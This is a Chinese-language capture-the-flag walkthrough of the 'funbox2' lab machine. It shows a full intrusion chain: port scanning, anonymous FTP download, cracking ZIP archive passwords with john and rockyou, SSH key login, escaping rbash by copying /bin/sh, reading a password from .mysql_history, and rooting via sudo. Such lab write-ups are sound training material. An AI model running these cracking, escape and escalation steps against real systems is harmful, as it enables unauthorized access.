
总结
getwebshell →21-FTP
泄露敏感文件 →john
爆破出密码 → 泄露密钥文件 →ssh
密钥登录
提 权 思 路 →rbash
利用cp
逃逸 → 发现泄露的用户密码 →sudo
提权
准备工作
启动VPN
获取攻击机IP >192.168.45.194
启动靶机
获取目标机器IP >192.168.227.107
信息收集-端口扫描
目标开放端口收集
Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.227.107
通过两次收集到的端口:→21,22,80,37323
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.227.107
信息收集-端口测试
21-FTP端口的信息收集
21-FTP版本版本信息
通过Nmap
探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
# nmap探测版本为ProFTPD 1.3.5e
cat /etc/proftpd.conf
cat /etc/proftpd/proftpd.conf
21-FTP端口匿名登录测试
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.227.107
Name: anonymous
匿名登陆成功,无需密码
21-FTP端口-文件GET收集
登录FTP之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件,利用PUT
上传文件
# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al
# cd 查看存储的文件
ftp > cd [file_date_name]
# get 下载文件
ftp > get [file_name]
里面发现了一堆文件
本来文件少的话会选择用get
下载文件
wget -m ftp://192.168.227.107
21-FTP端口-文件PUT测试(无)
# touch一个文件测试上传
touch test.txt
# put 上传文件
ftp > put [file_name]
测试发现无上传功能
文件信息获取
当尝试解压文件发现需要密码
暴力破解-hash密码破解
挨个破解hash密码
anna.zip(失败)
# 利用zip2john将zip转换
zip2john anna.zip > anna_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt anna_password.hash
ariel.zip(失败)
# 利用zip2john将zip转换
zip2john ariel.zip > ariel_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt ariel_password.hash
bud.zip(失败)
zip2john bud.zip > bud_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt bud_password.hash
cathrine.zip
zip2john cathrine.zip > cathrine_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt cathrine_password.hash
爆破出密码catwoman
进行解压发现密钥
homer.zip(失败)
zip2john homer.zip > homer_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt homer_password.hash
tom.zip
zip2john tom.zip > homer_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt homer_password.hash
获得tom
的密码iubire
解压发现tom
的密钥
其他的zip
非常枯燥无味的过程,其他的zip
都没有爆破出密码
welcome.msg
里面有一些信息(待定)
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测出来OpenSSH 7.6p1 Ubuntu 4ubuntu0 .3
# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.6p1
发现了类似用户枚举的利用(待定)
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root<span class="label label-primary">@192.168.227.107</span> -v
# 如果显示publickey、password就是都支持
支持密钥以及密码登录
80-HTTP端口的信息收集
访问http://192.168.227.107:80
不过首先利用21端口获得的密钥
漏洞利用-getwebshell
密钥登录
根据21端口获得的两个密钥尝试进行登录
获取密钥之后指定密钥进行登录,用户名选用压缩包的前缀
# cathrine登录失败
ssh -i cathrine_id_rsa cathrine<span class="label label-primary">@192.168.227.107</span> -p22
# tom登录成功
ssh -i tom_id_rsa tom<span class="label label-primary">@192.168.227.107</span> -p22
内网遨游-getshell
FLAG1获取
tom<span class="label label-primary">@funbox2</span>:~$ ls
local.txt
tom<span class="label label-primary">@funbox2</span>:~$ cat local.txt
4de86179dae42ff3cbce887f5f8338e4
Linux用户交互shell受限逃逸
在操作的过程中发现cd
命令存在rbash
限制
枚举是找到突破方法的重要组成部分。
首先发现很多命令是能用的,但是cd
之类的不太能用,尝试枚举可以用的命令
"/"限制
# 检查cd、ls、echo命令
cd /home
# 如果"/"命令可用的话,运行/bin/sh或者/bin/bash
/bin/bash
测试发现cd
、/
不能用
rbash、rksh、rsh逃逸之"cp"可用
# 检查是否可以cp文件
ls -al /bin/cp
# 如果"cp"命令可用的话,将/bin/sh或者/bin/bash复制到当前目录
cp /bin/sh .
# 运行即可逃逸,这个不行试试另一个
sh
发现cp
可用之后逃逸成功
内网信息收集
在之前查看tom
文件内的内容时,发现了.mysql_history
文件,一般的用户下是没有这个文件的,进行查看。
cat .mysql_history
发现了插入tom
密码的内容
_HiStOrY_V2_
show40databases;
quit
create40database40'support';
create40database40support;
use40support
create40table40users;
show40tables
;
select40*40from40support
;
show40tables;
select40*40from40support;
insert40into40support40(tom,40xx11yy22!);
quit
权限提升
我们得到了tom
的密码为xx11yy22!
通常在什么情况下会用到密码呢?sudo
时可能会用到
Linux提权-sudo提权尝试
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
使用该命令提示需要tom
的密码,成功
存在(ALL) NOPASSWD: ALL
# su提权
sudo su
提权成功
FLAG2获取
root<span class="label label-primary">@funbox2</span>:/home/tom# cat /root/proof.txt
8955c0057ac5c17dfabf3a310d6fdb4f
完结撒花~
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)